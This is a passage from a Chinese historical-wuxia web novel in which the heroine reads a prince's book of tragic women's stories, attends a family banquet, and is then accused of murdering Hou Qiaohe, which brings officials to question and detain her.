宋锦一把抓下,瞪人:“幼稚” 齐铮不语 宋锦鼓着嘴,闹了半天,觉得心口有些硬的,她摸了摸总算是反应过来了,眼珠子一转,扯出书贴在齐铮眼前 “你看这是什么” 齐铮看着熟悉的书册,面不改色,轻轻哦了一声 “书” 宋锦翻翻书,强调:“你看,避雨,狗熊,打劫,雷劈” 齐铮又哦了一声,淡淡:“以前写来玩的,只能勉为观看” 他的反应太过平淡了,看得宋锦那股子抓到小辫子的兴奋都淡了 就这,就这? 齐铮眼中闪过笑意,他就着宋锦拿着的书就翻了几页,然后选出其中的标题,轻声道 “若是无聊,可以看看这个,应该挺有意思的” 宋锦低头 雨夜,佳人 嘶一声,书被撕成两半 第84章 妻与妾 宋锦坐在塌上,枕着书发呆 书中主角李凡是个孤儿 他无父无母,但是身世复杂 师傅发现他的时候他被人胁着,那些人要杀师傅灭口,就被反杀了 但是人是杀了,剩下一个孩子,扔也不是不管也不是,师傅就收养了李凡 师傅自小带他风餐露宿,每日苦练,未曾松懈一日 就怕他哪日被那些人寻上,无反抗之力 这样日复一日,直到师傅去世,李凡开始了自己闯荡江湖的生活 初出江湖,他不过十岁少年郎,摸爬滚打,被骗、被抢、被坑、被污蔑、被追杀…… 他的感想在书中不过寥寥,但是碰到的事情实在过于有意思,才引得这本书还有一些喜欢的人 宋锦就是其中之一 她本就是喜欢到处乱跑的人,但是那些年因为牛铁兰身体,没离开过泗安县,只有从书里或多或少看到外面的世界 以前纯看热闹没有多想,但在发现故事的主人公是自己认识的人,她心里总是有些奇妙的 她盯着手下的四个字目录,盯得眼睛都快等出来了,还是没翻开下一页 她把那扯得破破烂烂的书合上,一把扔到一边,又从房间出来 牛铁兰已经出来了 外面的雨淅淅沥沥下去,庭院的花草被吹得乱七八糟 她站在屋檐下,看着院子里被折断的小树发呆 宋锦的烦躁一下子去掉,跑进屋翻了一件披风出来,走过去给她披上,抱怨:“你也不怕风寒” 还有十一天就练蛊了,这段时间保持身体健康还是很重要的 牛铁兰其实还好,天气虽然寒凉,但是身体蛊虫作用下,她也没有以前那么虚弱 她看着断掉的枝叶,想到残破的家,转头看着自家虎头虎脑的闺女,伸手摸了摸她的脑袋 “都城周边有没有想去的地方?娘陪你去” 宋锦一巴掌轻轻拍开她的手,瞪着人:“陪陪陪,我是小孩子吗?现在你是病人,好好养病好好治疗,等你好了我们 再出去玩,到时候我陪你去看阿爷,再找找阿婆,说不定她还活着呢?” 做过的事情总会有线索,她阿婆被掳走送走,到现在也不过五十出头,极有可能还活着 牛铁兰看着宋锦笃定的模样,伸手抚了抚她的眉眼,轻声:“到时候你陪娘一起去找,但是你记住了,你也只能陪着我一起去” 宋锦心口沉闷,抿着嘴,硬邦邦:“我肯定会和你一起去的” 牛铁兰只是笑了笑,没说太肯定的话 练蛊一事,本就是死里求生 牛铁兰没能那么笃定自己一定能行 她对于自己爹娘自然是想念的,也希望他们能活得好好的,能再见一面,但那是她自己的想法 她不希望宋锦也被其束缚掉 二十来年过去,若她娘还活着,膝下也说不定有其他孩子孙儿,儿女大了各有心思,她不想宋锦被这些琐事束缚 她的女儿,就该自由自在,快快乐乐的。而不是迫于礼法,碍于旧情,被逼着一步步后退 宋锦对着她轻柔的眼神,心里更是沉闷得不行,后退一步,一脚踢开旁边的椅子,低咒 “谁放的凳子,摔到了怎么办?烦死了,对了,娘,你等等我” 宋锦突然想到了什么,又大步跑回房间,在里面一顿翻找,找回了那本被撕得破破烂烂的书 她跑出来咧着牙:“娘,你快看” 牛铁兰嫌弃:“什么破玩意儿?” 宋锦又把刚才踹翻的椅子拿了回来,拉着她娘坐在椅子上,给她扯了扯披风,就蹲在旁边,翻开书,一本正经道 “这可是岐王殿下的大作,来,娘我们拜读一下,看看他的倒霉,嗯,波澜壮阔的经历” 听到这牛铁兰有些意外,她低头看着那被揉得皱皱巴巴,几乎断成两半的书,又沉默了下来 “小眉不是说岐王来了吗?你不去找他玩?” 宋锦扯着嘴皮:“我和他有什么好玩的?” 她冒着雨带着人转一圈都是很给他个王爷面子了,还找他玩? 呸 牛铁兰看着她口是心非的脸不语,只是低头看着被折腾得乱七八糟的书,找到了最烂的地方,翻开 雨夜佳人 她挑了挑眉,瞥向一旁磨牙的闺女,道:“岐王今年已经二十,闯荡江湖这么多年,曾有佳人在怀也正常” 宋锦皮笑肉不笑:“正常吗?那他做出一副老古板正人君子的模样,口口声声男女授受不亲,我呸,装模作样,虚伪” 牛铁兰轻抚下巴,杏眸染上笑意,轻声道:“是吗?说起来,严盛和舒浩程也十七八,也不知这次府试如何,有没有被小娘子缠上” 宋锦撇嘴,毫不在意道:“那谁知道,有小娘子看上他们是他们的福气,跟我们有什么关系?” 牛铁兰伸手戳戳宋锦的脑门,轻笑道:“那岐王跟你有什么关系?” 宋锦瞪眼:“娘你到底站哪边?有没有关系我还不能说两句了?他就这么大皇威了?” 这开窍开一半的,牛铁兰又是无奈又是欣慰,轻轻摸了摸宋锦的额头,她翻开书 “行吧行吧,你能说能说,我们来看看他的佳人是什么佳人” 宋锦撇着嘴,扭过脑袋不太想看 牛铁兰没理她,径直翻页,然后轻声念道:“深夜,无月,黑不见路,路遇一女,携她入屋” 宋锦面无表情,手上捏着的椅把手悄然裂开 牛铁兰一顿:“听她轻声呓语,带她换上衣物” 咔擦一声,把手碎掉 牛铁兰嘴角一抽,看了看不会翻的椅子,继续:“遂埋她入土” 宋锦那股子不知为何都快憋上脑门的气散开,像是雾一般,迷漫在脑中,直接宕机 “哈?” 这什么前言什么后语,省略的也太多了吧 宋锦缓过神来,探过脑袋一看,很快便沉默了下来,抿起了嘴 那年雨夜,十二岁的齐铮路遇一三十老妪,她头发花白,苍老不堪,乍一看更胜五十老妪 她浑身是血,拿着粗布在路边自尽,被他救回,躲雨,讲述了她的故事 她幼时被卖,作为童养媳日日干活从未停歇,十三戴上红花,正式做了人妻,但身子虚弱,连着几胎都未养活,好不容易得了一女儿,十岁时候又被好赌的丈夫卖到地主家,后面成了小妾 那日死讯传来,她不可置信,几番周折撅了墓,见到死状凄惨,没有一处好肉的女儿 她潜入地主府中,一把毒药下去,灭了府中大半,又回家看了恶毒婆母,无能丈夫,深夜出来自尽 齐铮听完她的经历,未做评价,只是让她好好歇歇 雨后只见她凉透的尸体,早在上吊之前,她就已经服了毒药 故事末尾,他只给了一字评价 勇 故事有些细碎,又在五六年后,他又遇惨状女子,为爱私奔,不顾反对嫁与丈夫,后面丈夫与人勾结害死岳丈一家,女子后悔莫及,投河自尽 他写到:善 …… 故事里的佳人有十二三年幼少女,有五六十老妪,每一个身世都很凄惨 但她们性格各不相同 有奋起反抗、有懦弱忍耐、有怨天尤人、也有推卸责任…… 她们曾经都是佳人,以后也会是佳人,但是相遇的时候就总是不顺的 死去的,他挖个坑将人埋葬 活着的,他留点银钱 也有想跟他走的,他虽拒绝,也在书中说道:不惧怕和一个居无定所的陌生人闯荡江湖,勇 他写那些女子的时候,主要详细描写事情,便是评价也只是寥寥一两字,多是正面的 可是,若让宋锦来评价的话,那些个佳人,大多很蠢,顾忌着在乎那,最后什么都没有 又蠢又懦弱害自私,害了家里人还自杀?不知道报官吗?不知道杀回去吗? 但好像就是这般,人与人不一样,喜欢的厌恶的也不相同,面对同样的事情做出的选择也不同 宋锦抿着嘴,看向了她娘 就像侯巧荷的事 若是宋锦自己来,绝不会这般轻易地略过此事,但是牛铁兰的话,打听到想要的消息,还说什么就这么算了 就算了? 想到自家老娘那些年受的苦,宋锦真的很想把人抓过来折磨一番,谁知道那人还会不会有什么事藏着没说? 这种时候,酷刑才是最有用的 而且,谁知道侯巧荷和那些人有没有联系,会不会又采取什么针对她娘是行动…… 宋锦很是不甘 牛铁兰这个当事人倒是平静许多,她伸手摸着树上的墨迹,仿若透过那些字迹看透里面的人 她轻声:“金金,这个世道,女子都如此艰难,再往前一些,她们活下来都拼尽全力了。尊严和善良,不值一提。我的事情,侯巧荷只是个小得不能再小的棋子,多她少她都不影响什么” 宋锦抿嘴:“那也不代表她无罪” 牛铁兰:“你什么时候在意罪不罪了?” 宋锦不说话了 牛铁兰拉起宋锦的手,把那皱巴巴乱糟糟的书放到她的手心上,轻轻抚着她的脑袋,换了话题 “岐王自小在外摸爬滚打,正直忠义,踏实沉稳,但是很懂事情都不懂,你别欺负人” 宋锦不乐意:“我怎么又欺负他了?娘你怎么总帮他啊” 牛铁兰伸手戳着她的脑袋:“因为他脾气好” “我脾气也挺好的”宋锦撇着嘴说着,补充个前提,“没人惹我的话” 说是这么说,她还是好好地收起了手中残破的书 这手到底不出名,出的册子不多,这还是之前舒程浩那个书铺小公子才找到的,丢了可不好再找新的了 牛铁兰看着她心口不一的样子,轻轻笑了笑,又看向屋檐外面,说道:“雨停了,也晚饭时间,小眉去问问今天怎么吃饭,是分开还是一起” 小眉笑:“回夫人,我之前已经差人问了大公子,说是一起吃。不过岐王殿下也在 ,他特意嘱咐夫人小姐可以穿正式点” 宋锦白眼:“这么大府,就他最瞎讲究” 牛铁兰轻叹 这哪儿是宋行之最讲究啊,是其他人都惯着她 …… 晚饭弄得很是丰盛 宴席用材贵重兴盛,一般世家准备宴席都要提前准备,但是宋家无所谓 有都城最大的酒楼为背,宋家准备起来很是简单 不过一下午时间,一大桌子的丰盛宴席就摆了上来 宋清之盯着绿眸子:“岐王可要好好尝一尝” 他一直记得,齐铮之前说不去他们酒楼是因为太贵了 虽然这话听起来荒谬,但是仔细想想,齐铮回永安城后,确实很少有奢侈开销 他府中的东西,不是皇上赏的,就是其他人送的,而他送出去的,不能说差,只能说平平无奇 以前他们也曾揣测过他是低调,现在一看,是很持家了 兄弟几个打量着人 而齐铮脸色没有丝毫变化,淡然得就跟在自己府里一般,没什么特别的 但是这又是送东西又是上门,还坐一起 宋家兄弟几个看看他,又看看旁边的宋锦,神情明显存疑 这两怎么看怎么有问题啊 他们宋家唯一的独苗苗,这才找回来几月,怎么也不能就被外面的野小子连盆端着走啊 宋行之把眼神扔给宋慎之 快上,快说话,不是说好的要做上门女婿吗? 宋慎之脸还肿着,他下意识摸了摸,像是被针扎了一般疼痛。虽然自己是不敢挖家里的花了,但是也不能眼睁睁看着别人挖 他扯起嘴角:“岐王和小妹,是怎么认识的?” 齐铮抬眸看了看兄弟几个,斟酌一瞬,道:“泗安县一行,恰好有一处巡查地就是他们的茶园,又恰逢宋少府监被打” 说着,他又顿住,似乎在迟疑要不要说 宋行之瞬间变了脸,举起酒杯就转移话题:“对,泗安县一行事情颇多,多亏了岐王和小妹武艺高强,不然别说抓获梁家大半人手,怕是还要牵连百姓受累,更别说今日升迁,我敬你们一杯” 宋锦没有多想,听着也举起的酒杯,挑眉:“算你还有些自知之明” 说着她一杯酒下去,爽快得不得了 宋行之见她没提起自己挨打的事,心里狠狠松了口气,再看看同样举起酒杯的齐铮,笑得十分虚假 “岐王先喝” 他确定以及肯定,这人就是故意的。 齐铮举起酒杯,颔首:“客气了,这次泗安一行,也多亏宋府监,才能解决一场大祸” 梁家在青郡府谋划已久,各行各业都穿插了人手,更是有多个窝点地道,藏着各种金银武器粮食,谋反之心一眼可见 这次突袭打他们个措手不及,也连枝带根地端了他们的根基 只是可惜,梁家的当家人反应过快,也着实果断,知道暴露了,当机立断直接离开,现在也没有踪迹 但是最起码,青郡府这么一来,梁家人起码十年,也翻不起身,不可能在造就现在这般势力,不足为患 而做到这一步,宋行之在青郡府的时候可以说是下了狠功夫,杀了不少人,颇有宋商的风范了 宋慎之从边境回来先去青郡府,也是怕他出手狠了出事 毕竟,宋行之就是岭南宋家的人,全府皆因梁家而死,就剩下他这么个独苗 他当初外派第一个府,也是岭南了,因为出手太狠差点出事,还是宋商过去才平了事 想到往事,宋慎之小饮一口酒,瞬间,脸上更是火辣辣的疼,他面色不变,又是一口下去 疼就疼点吧,至少,他能确定他爹是真的无事 相比起他们两个各怀心思的人,宋顺之、宋安之和宋清之想的就简单许多了 一个是他们确实职位不高,很多东西接触不太大 还有一个就是,他们行事光明正大,不似这俩一样喜欢作死 他们三个眼神对视,没什么好说的,直接伸手抬酒杯 “岐王殿下,敬您一杯” 他们今个就要把人灌醉 齐铮也来者不惧,一杯一杯白酒下肚,脸色都不变一下,喝之前什么样,喝之后还是什么样 宋锦坐在旁边,笑眯眯地小口啜着果茶,时不时给旁边的牛铁兰夹着菜,低声说着小话:“一群傻子,岐王那么深的内力,他们哪里灌得醉?” 牛铁兰睨她:“你少喝点” 宋锦眉眼飞扬:“我就更不会醉了” 当年那老头也不知道是太菜了还是被她气狠了,除了轻功其他的都没教她,让她也到现在才知道内力还有这么多用法 牛铁兰给她夹了片菜叶子:“别得意,行事还是要小心点” 宋锦皱着眉嚼着叶子:“我这么厉害” 牛铁兰呵呵:“马失前蹄也不是一次两次了” 宋锦:…… 那都是意外啊 不过确实需要再练练,这个世界,水还是深着呢 她继续嚼着菜,再回头,齐铮面色淡然,宋家五个兄弟倒是一个赛一个脸红,看样子就晕得差不多了,说话口无遮拦了一些 宋行之捏着折扇,笑吟吟:“岐王闯荡江湖这么多年,想必少不了红颜知己吧?现在回永安城也快一年,没想过把人带回来?不说正妃,侧妃妾室,皇上定然会同意的” 这一问,全是坑 宋锦叼着菜叶子抬起脑袋 齐铮面色不变,不假思索:“不如宋府监受欢迎,我从小性子木楞,又居无定所,出门在外别人看到我不跑就算胆大,红颜知己,闻所未闻” 宋行之笑吟吟:“这样啊” 齐铮颔首,继续:“至于正妃侧妃,我自小在外流浪,行走江湖时候,见多了情人因此相刃,妻妾想杀,勾心斗角,自然不能走上后尘。这一点,我想父皇会理解我的” 后院充实的宋行之:…… 又点他? 但是妻妾这个问题,体会过的人都有感悟 宋顺之也喝得有些多,轻道:“岐王这话在理,我娘以前就是妾,倍受主母折磨,后面,她毒死了主母和我爹,被淹死了,我也被赶到了庄子” 后面就跑出去了,又碰上宋商,不知道哪里得了他的眼,被收养 所以妻妾之争,他感受很深 宋顺之又是一口酒下肚,脸上泛红,扯着嘴角:“待我未婚妻入门,我也定只她一人便够了” 宋安之和宋清之瞬间拍桌,跟着就吆喝了起来 宋安之:“快了快了,我记得就明年了,过两个月未来二嫂应该就会回来了” 宋清之也吆喝:“准备,我回去就让人准备聘礼,咱家第一个婚事,一定要大办,必须风风光光,热热闹闹” 两个人就着就在那里说起了婚事的安排准备,宋顺之脸色泛红,却也还是时不时点头 他自然也想给未来妻子最好的婚礼 说起这个话题,宋行之确实插不上话,他看着兄弟三兴奋讨论的模样,想着自己后院的人 那时候几个人是一点反应都没给的 妻和妾,确实很不相同 宋行之垂眸,举起酒杯一饮而下 兄弟几个你一句我一句的,完全忘记了一旁的齐铮 宋锦也听得津津有味,她还真没参加过亲近之人的婚礼,听着就很有意思 “好看吗?” 听着听着,齐铮的声音落在耳边 宋锦看过去 他又补充:“书” 宋锦一个白眼过去,当面吐槽:“一点不好看,憋屈死了” 齐铮侧头过来,轮廓锋利而流畅,很是俊美,一双眼漆黑又带上幽静,他轻声:“你觉得憋屈,当时不少书生看到,却是骂翻了天” 宋锦嫌弃:“一群废物玩意儿,看两个书就觉得了不起了,那种人当了官也是贪官” 齐铮点头:“我也这么觉得” 那些人才见过多少事啊,真以为读了两本书就行千里路了? 一点眼光都没有 宋锦心情好了起来,拖着椅子凑了过去,小声询问:“你刚才是糊弄他们的还是真心?” 齐铮反问:“我为什么要糊弄他们?对我有什么好处?” 那倒是没有,他一个王爷 宋锦眉眼越发飞扬,伸手拍着他的肩膀,举起酒杯:“我觉得,你这人很不错” 齐铮垂眸看着都快挂在他身上的人,对着她璀璨的眸子,轻轻抬起杯子碰了上去 “你也很好” …… 宴席吃得很是开心,所有人或多或少都饮了些酒 牛铁兰也不例外,她心里闷着事甚至喝得还有些多 那酒喝着好喝,后面有些上头,倒是让她在悲痛的往事下,还睡了个好觉 一直到第二日房门被 重重敲响 牛铁兰一个睁眼,杏眸有些发红,脑袋也有些晕,她轻轻揉了揉,有些晃悠地走到门口 门外是小眉焦急的脸 牛铁兰醒了大半,蹙眉:“怎么了?这么着急” 小眉急:“夫,夫人,是昨日的夫人,她,她她她” 牛铁兰心一沉:“她怎么了?” 小眉艰难开口:“死了” 牛铁兰脸色一变,咬着牙跑去旁边房间,门轻轻一推,里面空无一人 她心彻底沉了下去,颤着手死死攥着握着门,稳住自己的身形,一片慌乱 这死丫头 不会吧,可千万别是啊 第85章 杀人狂? 永安城中最不缺的就是权贵 除却像宋商这种在外颇有名头的人,其他的普通王侯世家死一个主子,并不会引起其他人的注意和讨论 更别说是侯巧和这种深居浅出的普通商户主母了 按理来说,她的死去除了一些有心人之外,并不会引起什么水花,但是就是非常巧妙的,人刚死去,就在永安城传开了 因为,作为亲子的金玉阁少东家戴元宏和戴元华直接找上了衙门敲鼓状告,在上午人出行最多的时候,报案亲娘被杀 而控告人,正是之前闹得沸沸扬扬的宋首辅女儿,明光郡主 那可不得了了,这涉嫌杀人,可比之前的殴打英国公府事件严重多了,你传我我传你,不到半天,哪哪都是讨论这件事的人 小摊贩酒楼铺子,随便动一耳朵就能听到点消息 但是总有人不动耳朵 宋锦瘫在马车里面,闭着眼睛抱着脑袋,呼呼大睡,等到马车停下了,她摆了摆手打着哈欠下车 面对两个后门守卫的惊异的目光下,她想也不想直接窜了进去,蹑手蹑脚地往院子里面闪躲而去 虽然今天府里面的人看起来严肃一些,来回走动的人也多了不少,甚至还有不少生面孔 但是都是些普通人,宋锦也没有多想,东躲西藏翻墙飞亭,紧接着轻轻松松顺顺利利回到院子,然后往房里钻去 打算营造一种睡过头的假象 但是房门一开 牛铁兰坐在桌边,眉头紧蹙,一副忧虑惊慌之意 本来还有些心虚的宋锦,那就更心虚了,在转身就走和回头是岸中纠结起来 这一纠结,牛铁兰也看到了人 她瞬间松了口气,不过也就一瞬,她立马起身焦急过来,先是急急忙忙关门,随后一巴掌拍宋锦背上:“还问我怎么了,我问你昨晚上干什么去了?” 宋锦呲牙,眼珠转悠,心虚地耷着眼皮:“就,就睡觉啊,我就是出门早” 牛铁兰抓着她的胳膊,咬着牙问:“昨晚上你去戴府了没有?” 宋锦心虚瞬间散去,撇嘴道:“我又不是贼,我去他们那儿干什么啊,我也不缺钱” 牛铁兰死死盯着她:“当真?” 宋锦理气直壮:“我发誓” 宋锦是牛铁兰亲手一点点带大的,她的小动作牛铁兰也再清楚不过, 确定人没有说谎,牛铁兰一直提着的心才一点点松了下去,却没有落到底 牛铁兰攥着她的衣服,盯着她,一字一字:“侯巧荷死了,你和娘说,这事和你没有关系” 听到这个消息,宋锦先是茫然,回想了一下这个名字是谁,想起了以后更是迷茫震惊疑惑…… 各种复杂情绪之下,她瞪大眼睛:“娘你竟然怀疑我?在你眼里,我就是这种人?我是杀人狂?” 牛铁兰:“……这不是担心你不小心下手重了” 宋锦更恼了,气鼓鼓:“你这是怀疑我的业务能力” 看不起谁呢? 审问折磨人都方式那么多,她会失手?她能给人划一千刀刀刀不伤及要害咧,怎么可能意外弄死人 再说了 宋锦瞪眼:“我有那么冲动吗?” 这点牛铁兰可以给她肯定回答,她就是这么冲动,所以在得知侯巧荷死去后她才会这么担心 这可是都城,不比以往那些小地方,侯巧荷也不是之前那些死士刺客,哪儿是说杀就能杀的? 牛铁兰生怕宋锦冲动闯下大祸,现在确定不是了,她狠狠松了口气,提着的心彻底落下,取而代之的是一股酸软无力 她有些脱力,脚一软要往下倒,宋锦一把拉住人,哭笑不得地拉着她一边坐好 “我的娘唉,你至于吗?快坐好,真是吓死个人了,多大点事啊,那人死不死的跟我们有什么关系?” 除去那点不愉快的往事,侯巧荷和她们也只是陌生人罢了,对她的死讯,宋锦谈不上多余的情绪 牛铁兰见宋锦什么也不知道,就知道她昨晚肯定跑得有些远 她攥着宋锦的手腕,道:“戴家兄弟去衙门状告,侯巧荷是你害死的” “哈?” 什么鬼?她这些年干了那么多坏事都没被人告,现在来个污蔑的 宋锦无语:“他们有毛病吧?证据呢?我是郡主爵位,他们白身,是想死吗?” 这白身状告,就是她干的他们也得吃不小苦头,更别说不是了 宋锦想着之前见过的戴元华,好像确实是一副蠢样子了,干出这事也不奇怪 牛铁兰见她一副不在意的模样,自己松气的同时,心情沉沉:“他们既然赶告,定有证据” 宋锦挑眉:“我又没干,管他们什么证据都是假的” 牛铁兰没好气瞪了瞪她:“他们敢这么做,就说明他们有备而来,你必须小心行事” 她之前担心的是这事真和宋锦有关,不管人是不是她弄死的,只要她晚上去了,这件事就解释不清了 现在还好,还好,还是有回寰的余地 牛铁兰:“你昨晚上去哪儿了?” 宋锦摸了摸鼻子,理直气壮:“我去哪儿了也和那边无关啊,身正不怕影子斜,不是我干的我怕什么?他们报官就报官呗” 牛铁兰深吸一口气,一种更不详的预感涌上心头:“你昨晚,到底去哪儿了?” 宋锦眼神飘忽,明显不太想说但是在她娘的逼迫下,好一会儿小声:“就是,爬爬城门出去转转什么的” 牛铁兰眼前一黑,又听到外面传来熟悉的鸟叫声,她拉着人的手腕,咬牙:“赶紧走,现在情况不明,你先去外面溜达几日,等情况清楚了我再通知你回来” 宋锦惊,伸手指着自己:“啊?娘你是让我当逃犯?” 牛铁兰瞪她,推攘:“什么逃犯不逃犯?那边还不知道有什么证据,你说话又不动脑子,先去避避风头,这边我们来对付” 这种凶杀案,有事没事,到时候调查来调查去又是一段时间,她一个姑娘家的去衙门进牢狱是什么好玩的事吗? 不如在外面躲着避风头 看着牛铁兰催促护短的模样,宋锦那叫一个暖心开心,却又哭笑不得 她一把按住她娘的手,顺着手腕往上一路轻捏,按在她的肩膀上,轻轻捏着 宋锦笑:“娘你想那么多干什么?不管那边是什么意图,有什么所谓的证据,我没干就是没干,清清白白,怕什么?他们要问就问,要关就关 ,我一个郡主,还怕这些?” 牛铁兰紧绷的身子松散一些,却也没被她说动,抿着唇:“说得简单,谁知道那些人有什么手段?” 她最开始害怕事情是宋锦做的,如果不是,那就只有可能是女园那边动手了 他们既然能盯上戴家兄弟,就一定盯着侯巧荷 相比起侯巧荷这个早年的人,牛铁兰可更好认,那些人只要见到她,就一定能认出 那些人出手残忍,手段众多,又有手握蛊术,牛铁兰不得不担心 宋锦依旧淡定,她捏着她娘的肩膀,轻声细语:“阿娘,蛊术对我无用” 牛铁兰抬头:“娘知你内力深厚,但不可大意” 宋锦撇嘴:“这是那人说的,虽然不想承认,但是到底和我血脉相连,总不至于用这个哄我吧?” 牛铁兰怔怔:“这样吗?” 宋锦蹲下身,冲着她露出灿烂笑容:“当然,所以娘你别担心我,他们既然敢设局,那我们就从中间把他砸得稀巴烂,你也想找到当初杀阿爷的人吧?” 牛铁兰眼睛一红,干涩:“娘更想你好好的” 她的孩子已经够苦了,先是和她拘于那么个小镇,又陪她来到永安城治病,现在又要因为她卷入那些乱七八糟的旧日恩怨中 宋锦赶紧哄人:“好了好了多大点事啊,娘你放心,我肯定会好好的,你就在家等我好消息就是了,什么都不要担心” 说话间,外面的脚步声越来越中,那些人已经近了 宋锦凑到牛铁兰耳边轻轻说了句话,随后扬着笑,站起身,她擦去她娘眼角的湿润,坦荡自信,又杀气凛凛 她道:“娘,你练蛊那日我定会回来的,你就在家里等着别担心。我还怕他们不冒头呢,既然敢冒出来,就别怪我把他们都揪出来全部弄死” 说着,宋锦冲着她安抚一笑,转身朝外,打开房门,和外面一群官府衙役侍卫对上 她看着领头的府尹李献 大衍朝新朝建立,前朝官吏早在这些年撸的撸,抓的抓退的退,现在当朝的不是当时建朝立大功的,就是后面考取科举上任的 年纪大多不大 面前这个府尹李献便是,今年也不过三十出头,是个能干人 宋锦之前在中秋宴上见过一面,当时宋清之还在和他吐槽:“你以后见到那个姓李的就跑远点,这人特别喜欢抓我们家的小辫子” 当时她还在想,那她必须有多远跑多远,哪想到现在还得凑上来了 但是没办法,她是能跑远点等到线索都出来,那她娘呢? 她不知道那些人弄这事是为了针对谁,但都只能往她身上来 宋锦凤眸微抬,眼神凛凛,她勾起唇:“一点小矛盾,倒是惊动了李府尹,多不好意思啊” 李献也是个严肃的人,他沉着脸:“死了一个人,在郡主这里倒是小事,真是让我大开眼界” 宋锦勾唇:“没办法,死人见太多了,从我和我娘被宋家人发现,再到回来,一路上找茬的人太多了,我想意思意思惊慌一下,也差了点演技” 李献脸色微敛:“听明光郡主话里的意思,是不认这桩罪?” 宋锦:“自然,我这人优点不多,诚实正是其中之一” 李献颔首:“那请问,明光郡主昨夜,甚至包括今早上午都去了哪里” 宋锦眼睛都不眨一下:“睡觉啊,睡醒了就跑去外面打猎吃烧烤,不信你过来闻闻,我衣服上还有烤鸡的香味” 说着她还抬手轻嗅了嗅,一脸满足 “……” 李献看着她顶着那张像极了宋商的脸做出这般举动,心中一梗,沉声继续:“可有人证?” 宋锦撇嘴:“一个人不能出门?” 意思就是没有了 李献:“明光郡主武艺高强,身上也多有武器,可还记得我手中这匕首?” 他掏出一把用布包裹的匕首,上面血迹斑斑,但是依稀可见匕首尖尖比起一般的匕首更为尖锐,一戳一个血口子 宋锦挑眉:“是我的,但是我匕首多了去了,经常用了就扔,能说明什么?” 李献沉下脸:“戴家兄弟指控郡主因私怨虐杀其母,认证、物证都在,郡主可还有什么能证明昨夜的证据?” 宋锦抱着手,一副无所谓的张扬模样:“都说了昨夜在睡觉,早上起床早,没事干就跑出门,做了个牛车进山打猎去了,不信,你们可以派人去山里看,还有烧烤的印” 李献:“无缘无故,郡主上山打猎?” 宋锦摆手,一脸无辜:“是啊,我就是这种人” 联想她的事迹,她确实也如此,武艺高强,无拘无束无法无天 是有这种可能 李献和旁边的人对视,又问:“郡主不介意我们进屋搜一搜吧?” 宋锦挑眉:“行啊,但是我必须看着,我的东西贵重,要是你们给我弄丢弄坏了怎么办?我看你们,也赔不起” “……” 李献和旁边的人对视一眼,再看着宋锦身上那一身华贵的料子,毫不犹豫地点头 他们确实赔不起啊 宋锦嗤笑一声,带着他们转身进去 牛铁兰还坐在其中 宋锦侧头:“小眉小耳,带夫人去旁边歇着,她身子不好,莫惊着了” “不用”牛铁兰起身,她看向李献,轻声:“李大人破案如神,请一定要换我女儿一个清白” 说着,她行了个礼 李献脸色微变,往一旁让开,微弯腰:“夫人不必如此,我们一定会尽力而为的” 见此,牛铁兰杏眸盈润,心下放心几分 到永安城这段时间,她出门不多,但是已经能分辨哪些是真的对宋府有恶意的人了 就看他们对待她们母女俩的态度 那些和宋商有仇怨的,见她们落难,只会恨不得踩上一脚,不会这般避让 牛铁兰又看了后面的宋锦一眼,见她一副张扬坦荡的模样,也撇去那点儿女情长 女园的人确实是大祸害 事已至此,她不能事事都拖她女儿后腿 她静静退下 宋锦的房间被围得水泄不通,除了衙门的衙役之外,还有宋府的守卫 两边对峙着 屋内的李献和助手就当没听到外面的动静,在房间里面小心又仔细地搜索 他们也不是无目标地搜查,着重查探首饰和衣服,也没什么结果,但是也不是完全没结果 李献旁边的清秀助手轻言:“郡主昨夜出门,就是穿的这一身?” 宋锦挑眉,强调:“是白日,不是夜” 助手又道:“我观您袖口和裤腿鞋底有血渍” 宋锦:“打猎有血很正常吧?再说,我若真有嫌疑,回来为什么不换衣服?” 助手点头:“您说的有道理,但,可否请您换下衣服叫由于我验证?” 宋锦撇了眼助手光洁的脖子:“行,你们检查好了吧?查好了出去,我换” 助手:“里衣也要” 宋锦似笑非笑:“你么真不怕我怪罪啊” 助手笑:“郡主大度,自然不会在意我冒犯” 说完,两人就被赶了出来 院子里面两方人剑拔弩张 李献看 着杀气腾腾的宋慎之,还有笑里藏刀的宋行之兄弟俩,一点儿也不奇怪他们出现 不比其他三人,两个人职位高,少有人能拦住 李献叹气,拱手:“职责在身,请少府监和忠毅侯莫为难在下” 宋行之似笑非笑:“这不是让你们进来了吗?是你得寸进尺了吧?他戴府什么人,我小妹什么人?按你们这么说,我现在去敲一敲鼓,告英国公府谋害我爹,你们也要去抓人是吧?” 李献:“少府监慎言,宋首辅之事,证据不足,争口舌之快无用” 宋慎之又冷笑:“你的意思是我小妹的事证据确凿?” 李献心情沉沉:“是” 瞬间,宋慎之杀气腾腾:“那又如何?一介白身冒犯她郡主之身,便是打死了也就打死了” 宋行之嘴角一抽,一脚踩在他脚上,警告:“闭嘴,小妹是无辜的” 净会添乱 这当面冒发处罚致死,和夜探虐杀致死,那是一回事吗? 虽然宋锦这段时间表现得无法无天,但是宋行之还是不觉得她会干这种事 若真有这么深的矛盾,她应该当场就动手了,不至于大晚上去 而且那尸体他也看了,完全不是她的作风 这是一场有预谋的栽赃,肮脏又险恶,那边拿不出决定性的证据他们这边,也很难拿出有力的证据证明无辜 便是后面宋锦无罪释放,也挽回不了在其他日眼中的形象,在加上宋商在外的名声 宋行之忍不住低咒一声:“一群阴沟里的老鼠” 两边都知道事情有异,但是,戴家兄弟击鼓鸣冤在前,流言蜚语传播在后,这件事不能说轻轻放下 宋锦没有完整证据证明自己,那她说的一切就都有可能是谎言 李献必须公事公办:“郡主需跟我们走一趟调查” 宋慎之握道,冷笑:“去住那老鼠洞一样的牢?” 李献叹气:“我们会给郡主安排最好的房间,派人守护她的安全” 宋行之折扇,眼神寒凉:“想都别想” 李献拱手:“此事已经禀告陛下,陛下让公事公办,一切按照流程来” 若不然,他也不敢直接上门 但便是如此,宋行之和宋慎之也是不退让 宋行之道:“陛下让你公事公办,没让你把人带走,你有什么,可以在宋府审” 宋慎之点头:“我们各退一步” 李献也很坚定:“必须入狱” 放宋府,她若真是犯人,第二日就能消失得无影无踪 李献便是知此事有蹊跷,也不会站宋锦这边,他只看证据 两边各不退让,眼看着都握起了武器,战况一触即发 后面的房门吱呀一声打开 宋锦穿了身简单骑装,大摇大摆走了出来,见到这紧张场面,眉头一挑:“你们这是干嘛呢?” 宋慎之大步走过来把她拉到身后,沉声道:“小妹放心,三哥不会让你被带走是” 宋行之也道:“大哥也是,大哥信你无辜” 